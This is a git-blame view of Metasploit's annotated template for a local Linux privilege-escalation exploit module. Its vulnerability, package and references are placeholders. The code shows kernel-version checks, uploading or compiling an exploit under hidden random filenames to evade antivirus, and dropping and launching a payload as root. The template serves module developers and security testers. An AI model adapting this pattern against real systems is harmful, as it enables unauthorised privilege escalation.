Files
metasploit-gs/modules/exploits/example_linux_priv_esc.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

159 lines
6.4 KiB
Ruby
Raw Normal View History

2019-11-29 06:54:34 -05:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
###
#
# This exploit sample shows how an exploit module could be written to exploit
2019-11-29 09:11:44 -05:00
# a bug in a command on a linux computer for priv esc.
2019-11-29 06:54:34 -05:00
#
###
2020-03-23 20:40:25 +03:00
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
2019-11-29 06:54:34 -05:00
2020-04-19 17:19:47 -04:00
# includes: is_root?
2019-11-29 06:54:34 -05:00
include Msf::Post::Linux::Priv
2020-04-19 17:19:47 -04:00
# includes: has_gcc?
2019-11-29 06:54:34 -05:00
include Msf::Post::Linux::System
2020-04-19 17:19:47 -04:00
# includes: kernel_release
2019-11-29 06:54:34 -05:00
include Msf::Post::Linux::Kernel
2020-04-19 17:19:47 -04:00
# includes writable?, upload_file, upload_and_chmodx, exploit_data
2019-11-29 06:54:34 -05:00
include Msf::Post::File
2020-04-19 17:19:47 -04:00
# includes generate_payload_exe
2019-11-29 06:54:34 -05:00
include Msf::Exploit::EXE
2020-04-19 17:19:47 -04:00
# includes register_files_for_cleanup
2019-11-29 06:54:34 -05:00
include Msf::Exploit::FileDropper
2020-04-19 17:19:47 -04:00
# includes: COMPILE option, live_compile?, upload_and_compile
# strip_comments
include Msf::Post::Linux::Compile
prepend Msf::Exploit::Remote::AutoCheck
2019-11-29 06:54:34 -05:00
def initialize(info = {})
super(
update_info(
info,
# The Name should be just like the line of a Git commit - software name,
2019-12-10 09:32:34 -05:00
# vuln type, class. Preferably apply
2019-11-29 06:54:34 -05:00
# some search optimization so people can actually find the module.
# We encourage consistency between module name and file name.
2020-04-19 17:23:54 -04:00
'Name' => 'Sample Linux Priv Esc',
'Description' => %q{
This exploit module illustrates how a vulnerability could be exploited
2019-11-29 06:54:34 -05:00
in an linux command for priv esc.
2020-04-19 17:23:54 -04:00
},
'License' => MSF_LICENSE,
2019-12-05 14:47:29 -05:00
# The place to add your name/handle and email. Twitter and other contact info isn't handled here.
# Add reference to additional authors, like those creating original proof of concepts or
# reference materials.
# It is also common to comment in who did what (PoC vs metasploit module, etc)
2021-11-13 04:33:24 -05:00
'Author' => [
'h00die <mike@stcyrsecurity.com>', # msf module
'researcher' # original PoC, analysis
],
2020-04-19 17:23:54 -04:00
'Platform' => [ 'linux' ],
2019-12-05 14:47:29 -05:00
# from underlying architecture of the system. typically ARCH_X64 or ARCH_X86, but the exploit
# may only apply to say ARCH_PPC or something else, where a specific arch is required.
# A full list is available in lib/msf/core/payload/uuid.rb
2020-04-19 17:23:54 -04:00
'Arch' => [ ARCH_X86, ARCH_X64 ],
2019-12-05 14:47:29 -05:00
# What types of sessions we can use this module in conjunction with. Most modules use libraries
# which work on shell and meterpreter, but there may be a nuance between one of them, so best to
# test both to ensure compatibility.
2020-04-19 17:23:54 -04:00
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
2019-12-05 14:47:29 -05:00
# from lib/msf/core/module/privileged, denotes if this requires or gives privileged access
# since privilege escalation modules typically result in elevated privileges, this is
# generally set to true
2020-04-19 17:23:54 -04:00
'Privileged' => true,
2021-11-13 04:33:24 -05:00
'References' => [
[ 'OSVDB', '12345' ],
[ 'EDB', '12345' ],
[ 'URL', 'http://www.example.com'],
[ 'CVE', '1978-1234']
],
2023-05-07 13:02:30 -04:00
'DisclosureDate' => '2023-11-29',
2019-12-05 14:47:29 -05:00
# Note that DefaultTarget refers to the index of an item in Targets, rather than name.
# It's generally easiest just to put the default at the beginning of the list and skip this
2019-11-29 06:54:34 -05:00
# entirely.
2021-11-13 04:33:24 -05:00
'DefaultTarget' => 0,
# https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
2021-11-13 04:33:24 -05:00
'Notes' => {
'Stability' => [],
'Reliability' => [],
'SideEffects' => []
}
2019-11-29 06:54:34 -05:00
)
)
# force exploit is used to bypass the check command results
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
# Simplify pulling the writable directory variable
def base_dir
datastore['WritableDir'].to_s
end
def check
# Check the kernel version to see if its in a vulnerable range
release = kernel_release
2021-02-17 12:33:59 +00:00
if Rex::Version.new(release.split('-').first) > Rex::Version.new('4.14.11') ||
Rex::Version.new(release.split('-').first) < Rex::Version.new('4.0')
2023-05-07 13:02:30 -04:00
return CheckCode::Safe("Kernel version #{release} is not vulnerable")
2019-11-29 06:54:34 -05:00
end
vprint_good "Kernel version #{release} appears to be vulnerable"
# Check the app is installed and the version, debian based example
package = cmd_exec('dpkg -l example | grep \'^ii\'')
2020-04-19 17:23:54 -04:00
if package&.include?('1:2015.3.14AR.1-1build1')
2023-05-07 13:02:30 -04:00
CheckCode::Appears("Vulnerable app version #{package} detected")
2019-11-29 06:54:34 -05:00
end
2023-05-07 13:02:30 -04:00
CheckCode::Safe("app #{package} is not vulnerable")
2019-11-29 06:54:34 -05:00
end
#
# The exploit method drops a payload file to the system, then either compiles and runs
# or just runs the exploit on the system.
#
def exploit
# Check if we're already root
if !datastore['ForceExploit'] && is_root?
2023-05-07 13:02:30 -04:00
fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
2019-11-29 06:54:34 -05:00
end
2020-03-23 20:40:25 +03:00
# Make sure we can write our exploit and payload to the local system
2019-11-29 06:54:34 -05:00
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
# Upload exploit executable, writing to a random name so AV doesn't have too easy a job
2019-11-29 09:11:44 -05:00
executable_name = ".#{rand_text_alphanumeric(5..10)}"
2019-11-29 06:54:34 -05:00
executable_path = "#{base_dir}/#{executable_name}"
if live_compile?
vprint_status 'Live compiling exploit on system...'
upload_and_compile executable_path, strip_comments(exploit_data('example.c'))
rm_f "#{executable_path}.c"
else
vprint_status 'Dropping pre-compiled exploit on system...'
upload_and_chmodx executable_path, exploit_data('example')
end
2023-05-07 13:02:30 -04:00
# register the file for automatic cleanup
register_files_for_cleanup(executable_path)
2019-11-29 06:54:34 -05:00
# Upload payload executable
2019-11-29 09:11:44 -05:00
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
2019-11-29 06:54:34 -05:00
upload_and_chmodx payload_path, generate_payload_exe
2023-05-07 13:02:30 -04:00
# register payload for automatic cleanup
register_files_for_cleanup(payload_path)
2019-11-29 06:54:34 -05:00
# Launch exploit with a timeout. We also have a vprint_status so if the user wants all the
# output from the exploit being run, they can optionally see it
timeout = 30
2020-04-19 17:23:54 -04:00
print_status 'Launching exploit...'
2019-11-29 06:54:34 -05:00
output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout
output.each_line { |line| vprint_status line.chomp }
end
end